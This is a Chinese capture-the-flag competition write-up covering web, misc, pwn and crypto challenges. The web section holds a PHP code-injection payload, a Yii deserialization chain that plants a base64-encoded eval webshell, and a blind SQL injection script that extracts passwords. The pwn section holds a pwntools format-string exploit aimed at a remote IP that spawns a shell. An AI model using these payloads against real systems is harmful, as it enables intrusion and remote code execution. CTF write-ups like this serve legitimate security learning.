Web

find_it

.1ndexx.php.swp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

直接phpinfo访问hack.php

1
index.php?code=<?php phpinfo();?>

搜flag

framework

yii框架,存在可用反序列化链,跟了一下没有变动,直接拿来打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents("3.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

发现php版本是5.6,可用assert,结合file_put_contents写个shell,可能编码原因写不进去,套个base64,拿到shell,里面有disable_func,蚁剑插件apache_mod直接绕,根目录下有个readflag。

WebsiteManger

右键看一下有个/image.php/?id=,测了一下是数字型注入,过滤了空格,测了下库名为ctf,表如下:

Password字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

req = requests.session()

url = "url"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
}

chars = '-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

payload = "if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273),{0},1))=({1}),1,0)"
payload = "if(ascii(substr((select/**/group_concat(password)from(users)),{0},1))=({1}),1,0)"
result = ""

for i in range(1,50):
for j in chars:
data = payload.format(i,ord(j))
rep = req.get(url+data,headers=headers)
text = rep.text
if "JFIF" in text:
result = result + j
print("[+]"+result)
break

注出来密码d2a0910f6615ed996116e

进后台直接file:///flag得到flag。

Misc

签到

1
dd if=EBCDIC.txt of=result.txt conv=ascii

colorful code

题目给了两个文件分别是:data1、data2.

结合题目colorful code可以推断和像素点相关,data1都是数字,data2不知道是何种文件。

计算data2长度正好可以被3整除。怀疑每三个字节是一个RGB也就是每个字节是一个RGB。而RGB是十进制,只需要将读取到字节转换为16进制再转换为10进制。正好可以组成一个RGB数组。同时data1那就应该是这个RGB数组对应的数组下标。将data1通过空格进行分割为一个数组正好长度7067,那么这张图片的长度就是37*191。

那么现在思路就是通过每三个字节划分data2为一个RGB 数组,在通过空格将data1划分为一个下标数组,通过两个数组进行对应可以得出一个图片所需的RGB数组。然后将这些像素组填充到图像中,具体实现如下面的PHP脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
$color =file_get_contents("data2");
$point = file_get_contents("data1");
$point = explode(' ',$point);
$data = str_split($color,3);
$height = 37;
$weigth = 191;
$flag = "";
$Rgb = [];
$a=0;
for($i=0;$i<count($point);$i++){
$rgbTmp = [];
for($j = 0;$j<3;$j++){
$tmp = $data[$point[$i]];
array_push($rgbTmp,base_convert(bin2hex($tmp[$j]),16,10));
}
array_push($Rgb,$rgbTmp);

}
$image = imagecreatetruecolor($height, $weigth);//图片大小
$a=0;
$black = imagecolorallocate($image,255,255,255);//设置颜色
//imagefill($image,0,0,$black) ; //填充 // 从左上角开始填充灰色//背景
for($i=0;$i<$height;$i++)
for($j=0;$j<$weigth;$j++){
$tmp = $Rgb[$a++];
$R = imagecolorallocate($image,$tmp[0],$tmp[1],$tmp[2]);//设置颜色
ImageFilledRectangle($image, $i,$j, $i,$j, $R);//绘制图案
echo sprintf("(%s,%s,%s)\n",$tmp[0],$tmp[1],$tmp[2]);
}

//保存图片
imagepng($image, "flag.png");
?>

脚本生成这面这个图片:

ssss

老套路npiet Online解https://www.bertnase.de/npiet/npiet-execute.php

image-20210509212501938

PWN

parser

绕过前面 http 的验证之后,有个格式化字符串:

image-20210509174609336

泄露 libc 和 stack 地址,格式化字符串修改 main 函数返回地址为 onegadget 正常退出函数就能 getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

string='''POST / HTTP/1.1
Host: 1
User-Agent: M
Accept: te
Accept-Language: e
Accept-Encoding: g
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: a
Content-Length: -1\n
'''
payload=string+'%227$p%14$p'

# p = process("./chall")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p=process('./chall',env={'LD_PRELOAD':'./libc-2.27.so'})

p = remote("47.105.94.48",12435)
libc = ELF("./libc-2.27.so")

# gdb.attach(p,"b *$rebase(0x137D)")


p.recvuntil('> ')
p.sendline(payload)
leak=int(p.recv(14),16)
log.info("leak:"+hex(leak))
stack=int(p.recv(14),16)
log.info("stack:"+hex(stack))
target=stack+(0x7ffc0ba3fca8-0x7ffc0ba3f880)#(0x7ffdbd1704e8-0x7ffdbd1700c0)
log.info("target:"+hex(target))
libc_base = leak - (0x7f33149f8b97-0x7f33149d7000)#0x21bf7
log.info("libc_base:"+hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))

one = libc_base + 0x4f3c2#0x4f3d5
log.info("one:"+hex(one))
first = one & 0xffff
log.info("first:"+hex(first))
second = (one>>16)&0xffff+0x10000
log.info("second:"+hex(second))
payload = string +'a'*0x6+("%"+ str(first-6) +"c%42$hn").ljust(0x20,'b')+p64(target)
p.sendline(payload)

payload = string +'a'*0x6+("%"+ str(second-6) +"c%42$hn").ljust(0x20,'b')+p64(target+2)
p.sendline(payload)

p.interactive()

Crypto

hpcurve

相似的题:https://jsur.in/posts/2020-12-21-hxp-ctf-2020-hyper-writeup

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from itertools import product
import struct
p = 10000000000000001119

K = GF(p)
R.<x> = K[]
y = x
f = y + prod(map(eval, 'yyyyyyy'))
C = HyperellipticCurve(f, 0)
J = C.jacobian()
Ds = [J(C(x, min(f(x).sqrt(0, 1)))) for x in (11, 22, 33)]

def getV(u):
ys = []
result = []
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
for root in roots:
ys.append(f(root).sqrt(0, 1))
for perm in product(range(2), repeat=3):
polynomial = Rbar.lagrange_polynomial(
[(roots[i], ys[i][perm[i]]) for i in range(3)])
if polynomial[0] in K:
result.append(R(polynomial))
return result


def getU(output, input):
result = []
for i in range(24):
result.append(output[i]^^input[i])
result = bytes(result)
u0, u1, u2 = struct.unpack("<QQQ", result)
u = x^3+x^2*u2+x*u1+u0
return u

def decode(o, u, v):
tmp = []
result = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *result)
otp = otp*2
for i in range(len(o)):
tmp.append(o[i]^^otp[i])
return bytes(tmp)


output = bytes.fromhex("66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5")
input = b"aaaaaaaaaaaaaaaaaaaaflag"
u = getU(output, input)
v_list = getV(u)
for v in v_list:
print(decode(output, u, v))

primegame

http://www.secmem.org/blog/2020/09/20/poka-science-war-hacking/

EXP

1
import math,random,structfrom decimal import *ct = 597952043660446249020184773232983974017780255881942379044454676980646417087515453primes = [2]keys = []arrary = []getcontext().prec = int(100)for i in range(3, 100):    f = True    for j in primes:        if i * i < j:            break        if i % j == 0:            f = False            break    if f:        primes.append(i)for i in range(len(primes)):    keys.append(Decimal(int(primes[i])).ln())for key in keys:    arrary.append(int(key * int(16) ** int(64)))def decrypt(result):    h = Decimal(int(0))    for i in range(len(keys)):        h += result[i] * keys[i]    ct = int(h * int(16)**int(64))    return ctdef getflags(N):    length = len(arrary)    A = Matrix(ZZ, length + 1, length + 1)    for i in range(length):        A[i, i] = 1        A[i, length] = arrary[i] // N        A[length, i] = 64    A[length, length] = ct // N    result = A.LLL()    for i in range(length + 1):        flag = 1        for j in range(length):            if -64 <= result[i][j] < 64:                continue            flag = 0            break        if flag:            vec = [int(v + 64) for v in result[i][:-1]]            tmp = decrypt(vec)            if tmp == ct:                print(N, bytes(vec))            else:                print("NO", tmp, bytes(vec))for i in range(1,100):    print(i)    getflags(i)